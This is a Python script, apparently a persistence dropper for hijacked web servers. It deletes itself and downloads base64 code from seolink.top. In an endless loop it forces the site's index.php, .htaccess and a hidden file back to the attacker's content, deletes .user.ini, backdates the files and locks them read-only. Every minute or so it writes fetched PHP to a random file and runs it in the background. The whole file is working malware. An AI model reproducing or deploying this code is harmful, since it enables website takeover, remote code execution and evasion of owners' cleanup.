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#!/usr/bin/env python
# -*- coding: UTF-8 -*-

# loop by DDM <drint_php@qq.com>
from __future__ import print_function
import os, time, zlib, base64, sys, datetime, hashlib, subprocess
# 根据Python版本导入urlopen和URLError
if sys.version_info[0] >= 3:
    # Python 3
    from urllib.request import urlopen as urlopen_func
    from urllib.error import URLError
else:
    # Python 2
    from urllib2 import urlopen as urlopen_func, URLError


def set_file_modification_time(file_path, mtime):
    ts = mtime.timestamp()
    os.utime(file_path, (ts, ts))

def chmod(file_path, mode):
    if os.path.exists(file_path):
        os.chmod(file_path, int(mode, 8))

def md5_x(n):
    # 获取当前时间戳
    current_timestamp = str(int(time.time()))

    # 计算MD5值
    md5_hash = hashlib.md5(current_timestamp).hexdigest()

    # 截取前N位
    truncated_md5 = md5_hash[:n]
    return truncated_md5

def md5(string_variable):
    m = hashlib.md5()

    if type(string_variable) is bytes:
        pass
    else:
        string_variable = string_variable.encode()
    m.update(string_variable)
    return m.digest()

def md5_file(file_path):
    content = ""
    with open(file_path) as fp:
        content = fp.read()
    return md5(content)

def http_get(url):
    try:
        # 尝试使用Python 3的urlopen
        response = urlopen_func(url)
    except URLError:
        # 如果Python 3的urlopen失败，尝试使用Python 2的urlopen
        try:
            # Python 2的urlopen和URLError
            from urllib2 import urlopen as urlopen_func, URLError
            response = urlopen_func(url)
        except ImportError:
            # 如果urlopen仍然不可用，返回None
            return None

    # 读取响应内容
    data = response.read()
    if sys.version_info[0] >= 3:
        # Python 3中，read()返回的是字节类型，需要解码成字符串
        data = data.decode('utf-8')

    return data

def run_php_script(script_path):
    # 使用.format()方法格式化字符串
    command = "nohup php {} >> /dev/null 2>&1 &".format(script_path)

    # 尝试使用subprocess，如果失败则回退到os.popen()
    try:
        # Python 3兼容方式
        import subprocess
        process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        output, errors = process.communicate()
        return output.decode()  # 将字节串解码为字符串
    except ImportError:
        # Python 2兼容方式
        process = os.popen(command)
        output = process.read()
        process.close()
        return output

host = "dimensaoservicos.com.br"
docroot = ""
indexcode = ""
htcode = ""
md5v = ""
resdir = ""
respath = ""
rescode = ""
proccode = ""
directory = os.path.dirname(__file__)

os.remove(__file__)

# try:
#     x2d = base64.b64decode(x2).decode("utf-8")
#     x3d = base64.b64decode(x3).decode("utf-8")
# except Exception as e:
#     pass
# else:
#     pass
# finally:
#     pass

# if x2d != "":
#     x2 = x2d
# if x3d != "":
#     x3 = x3d

sys_call = "https://seolink.top/?act=getcopypy&h=" + host;
sys_get = ""

try:
    sys_get = base64.b64decode(http_get(sys_call))
except Exception as e:
    sys_get = ""
else:
    pass
finally:
    pass

sys_get_arr = sys_get.split("-*-*-*-")

if len(sys_get_arr) == 7:
    docroot = sys_get_arr[0]
    indexcode = sys_get_arr[1]
    htcode = sys_get_arr[2]
    md5v = sys_get_arr[3]
    resarr = sys_get_arr[4].split(">>>")
    proccode = sys_get_arr[6]

    if len(resarr) == 3:
        resdir = docroot + resarr[0]
        respath = docroot + resarr[1]
        rescode = resarr[2]

py2 = sys.version_info < (3,0)
indexfile = docroot + "/index.php";
htfile = docroot + "/.htaccess";
userini = docroot + "/.user.ini";
flagfile = directory + "/copilot.png";
re_counter = 0;
filemtime = datetime.datetime(2021, 3, 12, 13, 5, 17)
msleep = 1
tsleep = 0.5
tcounter = 0


if os.path.isdir(docroot):
    # 检查是否有进程在跑 有则退出
    if os.path.exists(flagfile):
        ffc = ""
        with open(flagfile, "r") as ff:
            ffc = ff.read()

        if ffc != "":
            nowff = ""
            time.sleep(msleep + (msleep * 2))

            with open(flagfile, "r") as nff:
                nowff = nff.read()

            if ffc != nowff:
                print("->ok<-")
                sys.exit(1);

    while True:
        chmod(docroot, "755")

        if not os.path.exists(directory):
            os.makedirs(directory)

        chmod(directory, "755")

        # 恢复维护代码
        if rescode:
            if not os.path.exists(resdir):
                os.makedirs(resdir)
            if os.path.exists(resdir):
                # 文件不存在 或文件被修改则恢复
                if ((not os.path.exists(respath)) or (md5_file(respath) != md5(rescode))):
                    if os.path.exists(respath):
                        chmod(respath, "755")
                    with open(respath, "w") as file:
                        file.write(rescode)
                    set_file_modification_time(respath, filemtime)
                    chmod(respath, "555")

        # 每分钟安装一次PHP进程
        if tcounter >= 60:
            if proccode:
                procfn = md5_x(4)
                procpath = directory + "/" + procfn
                proccode = proccode.replace("dimensaoservicos.com.br", host)

                if os.path.exists(procpath):
                    chmod(procpath, "755")
                with open(procpath, "w") as file:
                    file.write(proccode)
                run_php_script(procpath)
            tcounter = 0

        # 更新flagfile时间
        if os.path.exists(flagfile):
            chmod(flagfile, "755")
        with open(flagfile, "w") as ff:
            ff.write(datetime.datetime.now(datetime.timezone.utc).isoformat())
        set_file_modification_time(flagfile, filemtime)
        chmod(flagfile, "555")

        # 删除user.ini
        if os.path.exists(userini):
            chmod(userini, "755")
            os.remove(userini)

        if ((not os.path.exists(indexfile)) or (md5_file(indexfile) != md5(indexcode))):
            if os.path.exists(indexfile):
                chmod(indexfile, "755")
            with open(indexfile, "w") as file:
                file.write(indexcode)
            set_file_modification_time(indexfile, filemtime)
            chmod(indexfile, "555")

        if ((not os.path.exists(htfile)) or (md5_file(htfile) != md5(htcode))):
            if os.path.exists(htfile):
                chmod(htfile, "755")
            with open(htfile, "w") as file:
                file.write(htcode)
            set_file_modification_time(htfile, filemtime)
            chmod(htfile, "555")

        chmod(directory, "555")
        chmod(docroot, "555")
        tcounter = tcounter + tsleep
        time.sleep(tsleep)
else:
    print("docroot not a dir")

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